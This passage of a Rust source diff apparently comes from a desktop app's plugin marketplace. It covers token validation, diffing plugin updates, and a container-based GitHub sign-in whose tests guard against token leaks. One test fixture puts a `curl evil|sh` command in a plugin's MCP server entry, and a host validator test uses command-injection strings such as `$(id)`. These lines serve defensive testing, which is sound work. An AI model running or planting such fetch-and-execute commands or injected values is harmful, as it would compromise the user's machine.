Some("gl-user".to_string())
);
}
#[tokio::test]
async fn unknown_host_is_left_unchecked() {
let site = serve(axum::Router::new()).await; // every path 404s
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
None
);
}
#[tokio::test]
async fn validate_token_refuses_bad_input_without_network() {
assert!(validate_token("-evil", FAKE).await.is_err());
assert!(validate_token("github.com", " ").await.is_err());
}
/// Fix-round-1 security finding: reqwest's default redirect policy
/// follows up to 10 hops and only strips Authorization/Cookie/
/// Proxy-Authorization/WWW-Authenticate on a cross-host hop — GitLab's
/// PRIVATE-TOKEN header is none of those, so an unfollowed-by-default
/// client is the only thing stopping a malicious/compromised "GitLab"
/// host from redirecting the probe (with the token still attached) to
/// an attacker-controlled target. Plain `std::net::TcpListener`s stand
/// in for the origin and the redirect target so the test can assert the
/// target is never even connected to, let alone handed the header.
#[tokio::test]
async fn redirect_is_never_followed_and_the_token_never_reaches_the_target() {
use std::io::{Read, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::time::Duration as StdDuration;
// The redirect target. If the client ever followed the redirect,
// this listener would receive the request — token header included.
let target = TcpListener::bind("127.0.0.1:0").unwrap();
let target_addr = target.local_addr().unwrap();
let (tx, rx) = mpsc::channel::<String>();
std::thread::spawn(move || {
target.set_nonblocking(false).ok();
if let Ok((mut stream, _)) = target.accept() {
let mut buf = [0u8; 4096];
let n = stream.read(&mut buf).unwrap_or(0);
let request = String::from_utf8_lossy(&buf[..n]).to_string();
let _ = stream.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
let _ = tx.send(request);
}
});
// The origin the probe actually asks, which answers with a 3xx
// pointing at the target above.
let origin = TcpListener::bind("127.0.0.1:0").unwrap();
let origin_addr = origin.local_addr().unwrap();
std::thread::spawn(move || {
if let Ok((mut stream, _)) = origin.accept() {
let mut buf = [0u8; 4096];
let _ = stream.read(&mut buf);
let body = format!(
"HTTP/1.1 302 Found\r\nLocation: http://{}/api/v4/user\r\nContent-Length: 0\r\n\r\n",
target_addr
);
let _ = stream.write_all(body.as_bytes());
}
});
let base = format!("http://{}", origin_addr);
let client = http_client().unwrap();
let outcome = who_am_i(&client, HostKind::GitLab, &base, FAKE).await;
// The redirect is reported as "not this kind of host", not an error
// and not a login — it must not be silently trusted either way.
assert_eq!(outcome.unwrap(), Probe::NotThisKind);
// And the target must never see a connection carrying the token —
// ideally no connection at all, since the client never follows.
// no connection at all is also the expected outcome
if let Ok(request) = rx.recv_timeout(StdDuration::from_millis(500)) {
assert!(
!request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"),
"the redirect target must never receive the token: {request}"
);
}
}
}
File diff suppressed because it is too large Load Diff
+288
View File
@@ -0,0 +1,288 @@
//! Text diff of one item between two commits, for the "Update" review.
use std::collections::BTreeMap;
use std::path::Path;
use similar::TextDiff;
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
use super::tree::GitTree;
use super::tree::TreeView;
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
/// The name a plugin's catalog entry is diffed under. It is shown apart from
/// the plugin folder's files, so a file of the same name cannot hide it.
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
/// exist (or is not installable) there — a removal upstream then reads as
/// every file removed rather than as an error.
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
item_files(tree, kind, key).unwrap_or_default()
}
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
/// reviewable file. It carries inline hooks, MCP servers and commands that
/// the install runs, so it is diffed like any file (PR review #3).
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
let entry = plugin_catalog_entry(tree, key).ok()?;
let mut text = serde_json::to_string_pretty(&entry).ok()?;
text.push('\n');
Some(ItemFile {
rel_path: PLUGIN_ENTRY_PATH.to_string(),
data: text.into_bytes(),
executable: false,
})
}
pub fn item_diff(
repo_path: &Path,
kind: ItemKind,
key: &str,
from_commit: &str,
to_commit: &str,
) -> Result<Vec<FileDiff>, String> {
let old = GitTree::open(repo_path, from_commit)?;
let new = GitTree::open(repo_path, to_commit)?;
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
if kind != ItemKind::Plugin {
return Ok(diff_files(&old_files, &new_files));
}
Ok(plugin_diff(
&old_files,
plugin_entry_file(&old, key).as_ref(),
&new_files,
plugin_entry_file(&new, key).as_ref(),
))
}
/// The catalog entry's diff first, then the folder's files.
pub(crate) fn plugin_diff(
old_files: &[ItemFile],
old_entry: Option<&ItemFile>,
new_files: &[ItemFile],
new_entry: Option<&ItemFile>,
) -> Vec<FileDiff> {
let mut out = diff_files(
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
);
out.extend(diff_files(old_files, new_files));
out
}
fn as_text(data: &[u8]) -> Option<&str> {
if data.contains(&0) {
return None;
}
std::str::from_utf8(data).ok()
}
fn unified(path: &str, old: &str, new: &str) -> String {
TextDiff::from_lines(old, new)
.unified_diff()
.context_radius(3)
.header(&format!("a/{path}"), &format!("b/{path}"))
.to_string()
}
/// Per-file diff, sorted by path; files identical in content and mode are left out.
pub(crate) fn diff_files(old: &[ItemFile], new: &[ItemFile]) -> Vec<FileDiff> {
let old: BTreeMap<&str, &ItemFile> = old.iter().map(|f| (f.rel_path.as_str(), f)).collect();
let new: BTreeMap<&str, &ItemFile> = new.iter().map(|f| (f.rel_path.as_str(), f)).collect();
let mut paths: Vec<&str> = old.keys().chain(new.keys()).copied().collect();
paths.sort_unstable();
paths.dedup();
let mut out = Vec::new();
for path in paths {
match (old.get(path), new.get(path)) {
(Some(o), Some(n)) => {
if o.data == n.data && o.executable == n.executable {
continue;
}
let text = match (as_text(&o.data), as_text(&n.data)) {
(Some(a), Some(b)) => {
let mut s = String::new();
if o.executable != n.executable {
s.push_str(&format!(
"# executable: {} -> {}\n",
o.executable, n.executable
));
}
s.push_str(&unified(path, a, b));
Some(s)
}
_ => None,
};
out.push(FileDiff {
path: path.to_string(),
change: FileChange::Modified,
unified: text,
});
}
(Some(o), None) => out.push(FileDiff {
path: path.to_string(),
change: FileChange::Removed,
unified: as_text(&o.data).map(|a| unified(path, a, "")),
}),
(None, Some(n)) => out.push(FileDiff {
path: path.to_string(),
change: FileChange::Added,
unified: as_text(&n.data).map(|b| unified(path, "", b)),
}),
(None, None) => {}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
use crate::marketplace::git;
use crate::marketplace::test_support::GitFixture;
fn f(path: &str, text: &str, executable: bool) -> ItemFile {
ItemFile {
rel_path: path.to_string(),
data: text.as_bytes().to_vec(),
executable,
}
}
#[test]
fn unchanged_files_are_omitted_and_changes_are_classified() {
let old = vec![
f("a.md", "one\n", false),
f("gone.sh", "x\n", true),
f("same", "s\n", false),
];
let new = vec![
f("a.md", "two\n", false),
f("new.txt", "n\n", false),
f("same", "s\n", false),
];
let diffs = diff_files(&old, &new);
let summary: Vec<(&str, FileChange)> = diffs
.iter()
.map(|d| (d.path.as_str(), d.change.clone()))
.collect();
assert_eq!(
summary,
vec![
("a.md", FileChange::Modified),
("gone.sh", FileChange::Removed),
("new.txt", FileChange::Added),
]
);
let a = diffs[0].unified.as_deref().unwrap();
assert!(a.contains("-one") && a.contains("+two"), "{a}");
}
#[test]
fn binary_files_have_no_text_diff() {
let old = vec![ItemFile {
rel_path: "b.bin".into(),
data: vec![0, 1, 2],
executable: false,
}];
let new = vec![ItemFile {
rel_path: "b.bin".into(),
data: vec![0, 1, 3],
executable: false,
}];
let diffs = diff_files(&old, &new);
assert_eq!(diffs.len(), 1);
assert_eq!(diffs[0].unified, None);
}
#[test]
fn an_executable_bit_change_is_reported() {
let old = vec![f("run.sh", "echo\n", false)];
let new = vec![f("run.sh", "echo\n", true)];
let diffs = diff_files(&old, &new);
assert_eq!(diffs.len(), 1);
assert!(diffs[0]
.unified
.as_deref()
.unwrap()
.contains("executable: false -> true"));
}
/// PR review #3: a plugin's catalog entry is part of what it installs
/// (inline hooks, MCP servers, commands), so a change to it alone must
/// show up in the diff rather than as "no file changes".
#[test]
fn a_plugins_catalog_entry_change_is_in_its_diff() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
);
let c2 = fx.commit("entry gains an MCP server");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1, "{diffs:?}");
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
assert_eq!(diffs[0].change, FileChange::Modified);
let text = diffs[0].unified.as_deref().unwrap();
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
assert!(text.contains("curl evil|sh"), "{text}");
// The folder's own files are still diffed next to it.
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
let c3 = fx.commit("skill");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
.unwrap()
.into_iter()
.map(|d| d.path)
.collect();
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
}
#[test]
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
let entry = |v: &str| ItemFile {
rel_path: PLUGIN_ENTRY_PATH.into(),
data: v.as_bytes().to_vec(),
executable: false,
};
let out = plugin_diff(
&[entry("same\n")],
Some(&entry("old\n")),
&[entry("same\n")],
Some(&entry("new\n")),
);
assert_eq!(out.len(), 1);
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
}
#[test]
fn item_diff_reads_both_commits_from_the_cache() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"hooks/notify-on-stop/notify.sh",
"#!/bin/sh\ncurl https://example.invalid\n",
);
let c2 = fx.commit("change hook");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Hook, "notify-on-stop", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1);
assert_eq!(diffs[0].path, "notify.sh");
assert!(diffs[0]
.unified
.as_deref()
.unwrap()
.contains("+curl https://example.invalid"));
}
}
+850
View File
@@ -0,0 +1,850 @@
//! GitHub sign-in through `gh auth login --web` inside a running container, for
//! hosts that have no `gh` of their own. The token is read back through the
//! exec, returned to the caller for the keychain, and never emitted, logged or
//! left behind in the container.
use std::time::Duration;
use bollard::container::LogOutput;
use futures_util::{Stream, StreamExt};
use tauri::{AppHandle, Emitter};
use tokio::io::{AsyncWrite, AsyncWriteExt};
use tokio::sync::oneshot;
use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY};
use crate::docker::exec::{
create_attached_exec_as, exec_oneshot_as, wait_for_exec_exit, AttachedExec,
};
pub const CODE_EVENT: &str = "marketplace-gh-login-code";
pub const OUTPUT_EVENT: &str = "marketplace-gh-login-output";
const LOGIN_TIMEOUT: Duration = Duration::from_secs(10 * 60);
const TOKEN_BEGIN: &str = "__TRIPLEC_TOKEN_BEGIN__";
const TOKEN_END: &str = "__TRIPLEC_TOKEN_END__";
/// Common prefix of both markers: any line containing it is never shown.
const TOKEN_MARKER: &str = "__TRIPLEC_TOKEN";
const MAX_TRANSCRIPT: usize = 64 * 1024;
const MAX_PENDING_LINE: usize = 4096;
/// Pre-flight N9: on cancel or timeout the attach is dropped, but `gh auth
/// login` would keep polling in the container. This matches both it and the
/// script around it (whose text contains the same words); errors are ignored.
const CANCEL_PKILL: [&str; 3] = ["pkill", "-f", "gh auth login --hostname"];
/// Constant script; the host is `$1` (argv, never interpolated), because
/// `create_attached_exec_as` takes no env.
///
/// * `GH_CONFIG_DIR` / `GIT_CONFIG_GLOBAL` live in a temp dir removed on exit,
/// so the container is never left logged in. The `HUP INT TERM` trap turns a
/// signal (the pty closing, or the cancel `pkill`) into a normal exit so the
/// `EXIT` trap still runs — `sh` skips it when killed outright.
/// * `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with
/// your GitHub credentials?" prompt, which `https` triggers and which would
/// write a credential helper into the git config.
/// * `BROWSER=true` makes gh's "open the browser" step a no-op.
const GH_LOGIN_SCRIPT: &str = r#"set -eu
host="$1"
case "$host" in
'' | -* | *[!A-Za-z0-9.-]*) echo "invalid host" >&2; exit 2 ;;
esac
export HOME=/home/claude
d=$(mktemp -d)
trap 'rm -rf "$d"' EXIT
trap 'exit 130' HUP INT TERM
export GH_CONFIG_DIR="$d" GIT_CONFIG_GLOBAL="$d/gitconfig" BROWSER=true
gh auth login --hostname "$host" --web --git-protocol ssh --skip-ssh-key --scopes repo
t=$(gh auth token --hostname "$host")
printf '\n%s%s%s\n' __TRIPLEC_TOKEN_BEGIN__ "$t" __TRIPLEC_TOKEN_END__
"#;
/// Pre-flight F13: the shared host rule, minus ports — `gh auth login
/// --hostname` takes a bare name.
pub fn valid_host(host: &str) -> bool {
crate::marketplace::auth::valid_host(host) && !host.contains(':')
}
/// Remove terminal control sequences and carriage returns from one complete
/// piece of text. An unterminated sequence at the end is dropped. The login
/// itself uses a streaming [`AnsiStripper`], which carries a sequence split
/// across chunks instead; this one-shot form exists for tests only.
#[cfg(test)]
fn strip_ansi(s: &str) -> String {
AnsiStripper::default().push(s.as_bytes())
}
/// Read gh's device code and URL. Returns (code, url).
///
/// Two wordings are known:
/// * older gh: `! First copy your one-time code: XXXX-XXXX`, then either a
/// URL or "Press Enter to open <host> in your browser";
/// * gh 2.101 (the image's): `! One-time code (XXXX-XXXX) copied to
/// clipboard`, then "Press Enter to open https://<host>/login/device in your
/// browser...".
///
/// The URL is the first `https://…/login/device` word, else
/// `https://<host>/login/device`.
pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> {
const LABEL: &str = "one-time code";
// ASCII lowercasing keeps byte offsets, so `at` indexes `output` too.
let at = output.to_ascii_lowercase().find(LABEL)? + LABEL.len();
let rest = output[at..].trim_start_matches(|c: char| c == ':' || c == '(' || c.is_whitespace());
let code: String = rest
.chars()
.take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
.collect();
// Something must follow the code (`)` or a line break): a code at the
// very end may still be growing in the next frame.
if code.len() < 6 || !code.contains('-') || rest.len() == code.len() {
return None;
}
let url = output
.split_whitespace()
.find(|w| w.starts_with("https://") && w.contains("/login/device"))
.map(|w| {
w.trim_end_matches(|c: char| !c.is_ascii_alphanumeric() && c != '/')
.to_string()
})
.unwrap_or_else(|| format!("https://{host}/login/device"));
Some((code, url))
}
pub fn extract_token(text: &str) -> Option<String> {
let start = text.find(TOKEN_BEGIN)? + TOKEN_BEGIN.len();
let end = start + text[start..].find(TOKEN_END)?;
let token = text[start..end].trim();
if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) {
return None;
}
Some(token.to_string())
}
/// Append `chunk` and hand back the complete lines, minus any line carrying the
/// token markers. A partial line waits in `pending` (so a marker split across
/// chunks is never shown), and is dropped if it grows past a bound.
pub fn take_display_lines(pending: &mut String, chunk: &str) -> String {
pending.push_str(chunk);
let Some(last_nl) = pending.rfind('\n') else {
if pending.len() > MAX_PENDING_LINE {
pending.clear();
}
return String::new();
};
let complete: String = pending.drain(..=last_nl).collect();
complete
.lines()
.filter(|l| !l.contains(TOKEN_MARKER))
.map(|l| format!("{l}\n"))
.collect()
}
/// What to show when the login ends without a token: the last few lines, with
/// any marker line removed.
fn failure_tail(transcript: &str) -> String {
let lines: Vec<&str> = transcript
.lines()
.filter(|l| !l.contains(TOKEN_MARKER) && !l.trim().is_empty())
.collect();
lines[lines.len().saturating_sub(5)..].join("\n")
}
/// Pre-flight N9 / review fix 1: stop the in-container login after any
/// failed attempt.
async fn kill_container_login(container_id: &str) {
let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect();
let _ = exec_oneshot_as(container_id, "claude", cmd, vec![]).await;
}
/// Hand `result` back, running `cleanup` first when it is a failure.
///
/// Review fix 1: a tty exec keeps running after its attach is dropped, so any
/// login that ends without a token — cancel, timeout, a lost stream, a failed
/// write, gh exiting without one — must stop the in-container login, or gh
/// keeps polling and its temp `GH_CONFIG_DIR` (which receives the token if the
/// user finishes in the browser) outlives the attempt.
async fn cleanup_on_error<T, C, Fut>(result: Result<T, String>, cleanup: C) -> Result<T, String>
where
C: FnOnce() -> Fut,
Fut: std::future::Future<Output = ()>,
{
if result.is_err() {
cleanup().await;
}
result
}
/// Pump gh's output until the exec ends, emitting code and display events and
/// pressing Enter at gh's prompt. `Ok` is the transcript of a stream that ended
/// normally; every other ending is `Err`. Takes the attach halves by value, so
/// they are closed by the time this returns.
async fn drive_login<S, W, E>(
mut output: S,
mut input: W,
cancel: &mut oneshot::Receiver<()>,
deadline: tokio::time::Instant,
account_id: &str,
host: &str,
mut emit: E,
) -> Result<String, String>
where
S: Stream<Item = Result<LogOutput, bollard::errors::Error>> + Unpin,
W: AsyncWrite + Unpin,
E: FnMut(&'static str, serde_json::Value),
{
let mut stripper = AnsiStripper::default();
let mut transcript = String::new();
let mut pending = String::new();
let mut code_sent = false;
let mut enter_sent = false;
loop {
let next = tokio::select! {
_ = &mut *cancel => {
return Err("GitHub sign-in cancelled. Nothing was stored.".to_string());
}
next = tokio::time::timeout_at(deadline, output.next()) => match next {
Ok(next) => next,
Err(_) => {
return Err(format!(
"Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.",
LOGIN_TIMEOUT.as_secs() / 60
));
}
},
};
let frame = match next {
Some(Ok(frame)) => frame,
Some(Err(e)) => {
return Err(format!(
"Lost the connection to gh: {e}. Nothing was stored."
))
}
None => return Ok(transcript),
};
let text = stripper.push(&frame.into_bytes());
push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT);
let shown = take_display_lines(&mut pending, &text);
if !shown.is_empty() {
emit(
OUTPUT_EVENT,
serde_json::json!({ "account_id": account_id, "chunk": shown }),
);
}
if !code_sent {
if let Some((code, url)) = parse_device_prompt(&transcript, host) {
emit(
CODE_EVENT,
serde_json::json!({ "account_id": account_id, "code": code, "url": url }),
);
code_sent = true;
}
}
if code_sent && !enter_sent && transcript.contains("Press Enter") {
// The Enter is its own write, after a pause (PR #64): arriving with
// other bytes it can be read as part of a paste and swallowed.
tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
input
.write_all(b"\r")
.await
.map_err(|e| format!("Could not answer gh's prompt: {e}. Nothing was stored."))?;
let _ = input.flush().await;
enter_sent = true;
}
}
}
/// Run `gh auth login --web` in the container and return the token it minted.
///
/// Once the exec exists there is exactly one way out: the result of the inner
/// block goes through [`cleanup_on_error`], so only a token read back skips
/// the in-container kill.
pub async fn run_gh_container_login(
app: &AppHandle,
account_id: &str,
container_id: &str,
host: &str,
mut cancel: oneshot::Receiver<()>,
) -> Result<String, String> {
if !valid_host(host) {
return Err(format!("{host:?} is not a valid host name."));
}
let AttachedExec {
exec_id,
output,
input,
} = create_attached_exec_as(
container_id,
vec![
"sh".to_string(),
"-c".to_string(),
GH_LOGIN_SCRIPT.to_string(),
"triple-c-gh-login".to_string(),
host.to_string(),
],
true,
"claude",
"/home/claude",
)
.await?;
let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT;
let result = async {
let transcript = drive_login(
output,
input,
&mut cancel,
deadline,
account_id,
host,
|event, payload| {
let _ = app.emit(event, payload);
},
)
.await?;
if let Some(token) = extract_token(&transcript) {
return Ok(token);
}
let status = wait_for_exec_exit(&exec_id).await;
Err(format!(
"gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}",
status
.map(|c| c.to_string())
.unwrap_or_else(|| "unknown".to_string()),
failure_tail(&transcript)
))
}
.await;
cleanup_on_error(result, || kill_container_login(container_id)).await
}
#[cfg(test)]
mod tests {
use super::*;
const GH_PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\nPress Enter to open github.com in your browser... ";
#[test]
fn the_device_code_is_read_and_the_url_defaults_to_the_host() {
assert_eq!(
parse_device_prompt(GH_PROMPT, "github.com"),
Some((
"4F2A-9C1B".to_string(),
"https://github.com/login/device".to_string()
))
);
}
#[test]
fn an_explicit_device_url_wins() {
let out = "! First copy your one-time code: AB12-CD34\nOpen this URL to continue in your web browser: https://ghe.example.com/login/device\n";
assert_eq!(
parse_device_prompt(out, "ghe.example.com"),
Some((
"AB12-CD34".to_string(),
"https://ghe.example.com/login/device".to_string()
))
);
}
/// gh 2.101.0 (the image's gh, integration report check 6), after ANSI
/// stripping: the code is in parentheses and the URL is on the Enter line.
const GH_2_101_PROMPT: &str = "! One-time code (4F2A-9C1B) copied to clipboard\nPress Enter to open https://github.com/login/device in your browser... ";
#[test]
fn the_gh_2_101_wording_is_read() {
assert_eq!(
parse_device_prompt(GH_2_101_PROMPT, "github.com"),
Some((
"4F2A-9C1B".to_string(),
"https://github.com/login/device".to_string()
))
);
}
#[test]
fn the_url_comes_from_the_press_enter_line() {
let out = "! One-time code (AB12-CD34) copied to clipboard\nPress Enter to open https://ghe.example.com/login/device in your browser... ";
assert_eq!(
parse_device_prompt(out, "github.com"),
Some((
"AB12-CD34".to_string(),
"https://ghe.example.com/login/device".to_string()
))
);
}
#[test]
fn the_gh_2_101_wording_without_a_code_is_no_prompt() {
assert_eq!(parse_device_prompt("! One-time code (", "github.com"), None);
assert_eq!(
parse_device_prompt("! One-time code (4F2A", "github.com"),
None
);
}
#[test]
fn a_code_cut_by_a_frame_boundary_is_not_a_code_yet() {
assert_eq!(
parse_device_prompt("! One-time code (4F2A-9C", "github.com"),
None
);
assert_eq!(
parse_device_prompt("! First copy your one-time code: 4F2A-9C", "github.com"),
None
);
}
#[test]
fn no_code_yet_means_no_prompt() {
assert_eq!(
parse_device_prompt("! First copy your one-time", "github.com"),
None
);
assert_eq!(parse_device_prompt("", "github.com"), None);
}
#[test]
fn the_token_is_taken_from_between_the_markers() {
let out = "✓ Logged in\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n";
assert_eq!(extract_token(out), Some("test-token-not-real".to_string()));
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN__test-token-not-real"),
None,
"unterminated"
);
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN____TRIPLEC_TOKEN_END__"),
None,
"empty"
);
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN__a b__TRIPLEC_TOKEN_END__"),
None,
"whitespace"
);
}
#[test]
fn only_complete_lines_are_shown_and_the_token_line_never_is() {
let mut pending = String::new();
assert_eq!(
take_display_lines(&mut pending, "! First copy your one-"),
""
);
assert_eq!(
take_display_lines(&mut pending, "time code: 4F2A-9C1B\nPress"),
"! First copy your one-time code: 4F2A-9C1B\n"
);
assert_eq!(pending, "Press");
let shown = take_display_lines(
&mut pending,
" Enter\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\ndone\n",
);
assert_eq!(shown, "Press Enter\ndone\n");
assert!(!shown.contains("test-token-not-real"));
}
#[test]
fn escape_sequences_and_carriage_returns_are_removed() {
assert_eq!(strip_ansi("\u{1b}[1;32m✓\u{1b}[0m done\r\n"), "✓ done\n");
assert_eq!(
strip_ansi("a\u{1b}]8;;https://x\u{7}link\u{1b}]8;;\u{7}b"),
"alinkb"
);
assert_eq!(strip_ansi("cut\u{1b}["), "cut");
}
#[test]
fn hosts_are_plain_names() {
assert!(valid_host("github.com"));
assert!(valid_host("ghe.corp-1.example"));
for bad in ["", "-x", "a b", "a;b", "a/b", "$(id)"] {
assert!(!valid_host(bad), "{bad:?}");
}
}
/// Pre-flight F13: the shared `auth::valid_host` accepts `host:port`, but
/// `gh auth login --hostname` takes a bare name, so a port is refused here.
#[test]
fn hosts_with_a_port_are_refused() {
assert!(crate::marketplace::auth::valid_host("ghe.corp:8443"));
assert!(!valid_host("ghe.corp:8443"));
assert!(!valid_host("ghe.corp:"));
}
#[test]
fn the_failure_tail_never_carries_the_token() {
let transcript = "! First copy your one-time code: 4F2A-9C1B\n\
__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n\
error: something odd\n";
let tail = failure_tail(transcript);
assert!(!tail.contains("test-token-not-real"));
assert!(tail.contains("error: something odd"));
}
/// Pre-flight N9: the cancel/timeout `pkill -f` pattern has to match the
/// `gh` command line the script runs.
#[test]
fn the_cancel_pattern_matches_the_script() {
assert_eq!(CANCEL_PKILL[0], "pkill");
assert_eq!(CANCEL_PKILL[1], "-f");
assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2]));
}
/// Review fix 1: every failed login tears the container side down, and a
/// successful one does not.
mod teardown {
use super::super::*;
use bollard::container::LogOutput;
use futures_util::stream;
use std::pin::Pin;
use std::sync::{Arc, Mutex};
use std::task::{Context, Poll};
type Frame = Result<LogOutput, bollard::errors::Error>;
fn out(s: &'static str) -> Frame {
Ok(LogOutput::StdOut { message: s.into() })
}
fn lost() -> Frame {
Err(bollard::errors::Error::DockerResponseServerError {
status_code: 500,
message: "connection reset".to_string(),
})
}
/// Records every write separately; or fails every write.
#[derive(Clone, Default)]
struct Keys {
writes: Arc<Mutex<Vec<Vec<u8>>>>,
broken: bool,
}
impl tokio::io::AsyncWrite for Keys {
fn poll_write(
self: Pin<&mut Self>,
_: &mut Context<'_>,
buf: &[u8],
) -> Poll<std::io::Result<usize>> {
if self.broken {
return Poll::Ready(Err(std::io::Error::other("pipe closed")));
}
self.writes.lock().unwrap().push(buf.to_vec());
Poll::Ready(Ok(buf.len()))
}
fn poll_flush(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll<std::io::Result<()>> {
Poll::Ready(Ok(()))
}
fn poll_shutdown(
self: Pin<&mut Self>,
_: &mut Context<'_>,
) -> Poll<std::io::Result<()>> {
Poll::Ready(Ok(()))
}
}
const PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\r\nPress Enter to open github.com in your browser... ";
async fn drive<S>(
frames: S,
keys: Keys,
cancel: &mut oneshot::Receiver<()>,
deadline: tokio::time::Instant,
) -> (
Result<String, String>,
Vec<(&'static str, serde_json::Value)>,
)
where
S: futures_util::Stream<Item = Frame> + Unpin,
{
let mut events = Vec::new();
let r = drive_login(
frames,
keys,
cancel,
deadline,
"acct-1",
"github.com",
|e, p| events.push((e, p)),
)
.await;
(r, events)
}
fn far() -> tokio::time::Instant {
tokio::time::Instant::now() + LOGIN_TIMEOUT
}
#[tokio::test]
async fn cleanup_runs_on_every_failure_and_never_on_success() {
let runs = Arc::new(Mutex::new(0));
let count = || {
let runs = runs.clone();
async move { *runs.lock().unwrap() += 1 }
};
let ok: Result<String, String> = Ok("test-token-not-real".into());
assert!(cleanup_on_error(ok, count).await.is_ok());
assert_eq!(*runs.lock().unwrap(), 0);
let err: Result<String, String> = Err("boom".into());
assert_eq!(cleanup_on_error(err, count).await, Err("boom".into()));
assert_eq!(*runs.lock().unwrap(), 1);
}
#[tokio::test(start_paused = true)]
async fn a_complete_login_returns_the_transcript_and_presses_enter_alone() {
let keys = Keys::default();
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![
out(PROMPT),
out("\r\n\u{2713} Logged in\r\n"),
out("__TRIPLEC_TOKEN_BEGIN__test-token-"),
out("not-real__TRIPLEC_TOKEN_END__\r\n"),
]);
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
let transcript = r.unwrap();
assert_eq!(
extract_token(&transcript),
Some("test-token-not-real".into())
);
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
assert!(events.contains(&(
CODE_EVENT,
serde_json::json!({
"account_id": "acct-1",
"code": "4F2A-9C1B",
"url": "https://github.com/login/device"
})
)));
for (_, payload) in &events {
assert!(!payload.to_string().contains("test-token-not-real"));
}
}
/// The raw bytes gh 2.101.0 prints under a tty (integration report
/// check 6), with a fake code: the code event goes out and Enter is
/// pressed, or gh never starts polling.
#[tokio::test(start_paused = true)]
async fn gh_2_101_gets_its_code_event_and_its_enter() {
let keys = Keys::default();
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![
out("\u{1b}]11;?\u{1b}\\\u{1b}[6n"),
out("\r\n"),
out("\u{1b}]52;c;NEYyQS05QzFC\u{7}\u{1b}[0;33m!\u{1b}[0m One-time code (\u{1b}[0;1;39m4F2A-9C1B\u{1b}[0m) copied to clipboard\r\n\u{1b}[0;1;39mPress Enter\u{1b}[0m to open https://github.com/login/device in your browser... "),
]);
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
assert!(r.is_ok());
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
assert!(events.contains(&(
CODE_EVENT,
serde_json::json!({
"account_id": "acct-1",
"code": "4F2A-9C1B",
"url": "https://github.com/login/device"
})
)));
}
#[tokio::test]
async fn a_lost_stream_is_a_failure() {
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![out(PROMPT), lost()]);
let (r, _) = drive(frames, Keys::default(), &mut cancel, far()).await;
assert!(r.unwrap_err().contains("Lost the connection"));
}
#[tokio::test(start_paused = true)]
async fn a_failed_enter_is_a_failure() {
let keys = Keys {
broken: true,
..Default::default()
};
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![out(PROMPT)]);
